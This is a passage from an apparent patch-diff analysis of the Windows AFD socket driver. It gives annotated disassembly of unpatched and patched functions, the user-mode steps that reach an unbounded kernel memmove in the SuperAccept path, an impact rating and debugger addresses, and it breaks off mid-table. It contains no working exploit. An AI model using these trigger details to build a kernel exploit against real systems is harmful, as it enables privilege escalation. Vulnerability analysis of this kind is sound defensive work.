&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CBF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_3932725563_57984164_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CC6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CCB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0031CE0&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; feature off -&amp;gt; below&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CD9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;AccessMode&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; feature on: caller mode&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CDE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0031CFE&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movsx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CEB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0031CF0&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; flag set -&amp;gt; caller mode&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; else AccessMode = 0 (KernelMode)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;AccessMode&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031D0D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2000000&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; DesiredAccess = ACCESS_SYSTEM_SECURITY&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031D1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; Object (address-object file object)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031D1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ObOpenObjectByPointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched equivalent (&lt;code&gt;0x1C0031B70&lt;/code&gt;): the feature-state call and the &lt;code&gt;0x10000&lt;/code&gt; test are gone, and both open sites use the caller's mode directly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CBE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;AccessMode&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; always caller mode&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CD2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2000000&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0031CDF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ObOpenObjectByPointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(&lt;code&gt;AccessMode&lt;/code&gt; is the sixth &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; argument, passed on the stack; &lt;code&gt;r9d&lt;/code&gt; here is &lt;code&gt;DesiredAccess&lt;/code&gt;.)&lt;/p&gt;
&lt;h3&gt;4.4 &lt;code&gt;AfdTdiCreateAO&lt;/code&gt; — Unpatched AccessMode selection&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;edi&lt;/code&gt; is 0 on this path and &lt;code&gt;r12d = 0x2000000&lt;/code&gt; (&lt;code&gt;0x1C003A4C5  mov r12d, 2000000h&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5A7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_3932725563_57984164_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5B5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C003A5C0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;AccessMode&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; feature on: caller mode&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C003A5D3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5C7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movsx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;AccessMode&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C003A5D3&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; flag set -&amp;gt; caller mode&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5D1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; else AccessMode = 0 (KernelMode)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; AccessMode&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; DesiredAccess = 0x2000000&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003A5F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ObOpenObjectByPointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;0x1C0039CF8&lt;/code&gt;): the feature-state call and &lt;code&gt;0x10000&lt;/code&gt; test are removed; &lt;code&gt;AccessMode&lt;/code&gt; comes straight from the stacked caller mode.&lt;/p&gt;
&lt;h3&gt;4.5 &lt;code&gt;AfdCreateConnection&lt;/code&gt; — Patched device-stack check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0048263&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; connection DeviceObject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0048267&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C004826D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; caller-supplied FileObject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0048270&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0048273&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoGetRelatedDeviceObject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C004827C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0048285&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; base(connection) vs base(handle)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0048288&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00482C1&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; match -&amp;gt; proceed&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00482B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00482F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; only reached on match&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched &lt;code&gt;AfdCreateConnection&lt;/code&gt; contains no &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; call and reaches &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; without this comparison.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions (SuperAccept OOB)&lt;/h2&gt;
&lt;p&gt;The reachable path to &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;, as present in the binary:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;From user mode, create a listening TCP socket (&lt;code&gt;socket&lt;/code&gt;/&lt;code&gt;bind&lt;/code&gt;/&lt;code&gt;listen&lt;/code&gt;) over the AFD endpoint.&lt;/li&gt;
&lt;li&gt;Issue the SuperAccept operation via &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on the AFD endpoint, supplying the accept output buffer that receives the peer address.&lt;/li&gt;
&lt;li&gt;A peer connects; the transport completes the accept IRP.&lt;/li&gt;
&lt;li&gt;AFD's restart path runs &lt;code&gt;AfdContinueSuperAccept&lt;/code&gt; → &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;, which maps the completion buffer, computes &lt;code&gt;size = AddressLength + 2&lt;/code&gt;, and (on the unpatched flag-off path) calls &lt;code&gt;memmove(buffer, buffer + 0xa, size)&lt;/code&gt; without clamping &lt;code&gt;size&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The out-of-bounds condition requires the &lt;code&gt;AddressLength&lt;/code&gt; field in the mapped completion buffer to exceed &lt;code&gt;MDL-&amp;gt;ByteCount - offset&lt;/code&gt;. The &lt;code&gt;AddressLength&lt;/code&gt; value is read from the transport-filled buffer via the MDL mapping. A demonstrable attacker-controlled route to an oversized value could not be established from the two binaries alone; the verified fact is the absence of any length bound on the flag-off path in the unpatched build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;The change in &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; is a length-bounding fix on a kernel-mode &lt;code&gt;memmove&lt;/code&gt;. On the unpatched flag-off path the copy length is bounded only by the 16-bit &lt;code&gt;AddressLength&lt;/code&gt; field (maximum &lt;code&gt;0x10001&lt;/code&gt;), so a value larger than the mapped buffer produces an out-of-bounds write to the destination and an out-of-bounds read from the source, both in kernel context. That is the primitive established by the binaries: an unbounded intra-kernel copy length.&lt;/p&gt;
&lt;p&gt;No exploit primitive beyond that (pool grooming, adjacent-object corruption, arbitrary read/write, token replacement, or mitigation bypass) is demonstrable from the two binaries, and none is claimed here. Severity is assessed as HIGH on the basis of a kernel-mode out-of-bounds read/write whose bound was skippable in the unpatched default path and is unconditional after the patch.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;AfdQueryHandles&lt;/code&gt; / &lt;code&gt;AfdTdiCreateAO&lt;/code&gt; changes remove a &lt;code&gt;KernelMode&lt;/code&gt; open of the caller's own transport file objects with &lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt;; the impact is that the &lt;code&gt;SeSecurityPrivilege&lt;/code&gt; and security-descriptor checks were skipped for those opens. The &lt;code&gt;AfdCreateConnection&lt;/code&gt; change adds validation that a caller-supplied handle belongs to the connection's device stack before a device control is issued through it.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Aids&lt;/h2&gt;
&lt;h3&gt;7.1 &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Real addresses to observe (unpatched image base &lt;code&gt;0x1C0000000&lt;/code&gt;):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00641C0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;function entry&lt;/td&gt;
&lt;td&gt;inspect the IRP (&lt;code&gt;rdx&lt;/code&gt;) and completion context (&lt;code&gt;rsi = [rdx+0xB8]&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00642CF&lt;/code&gt;&lt;/td&gt;
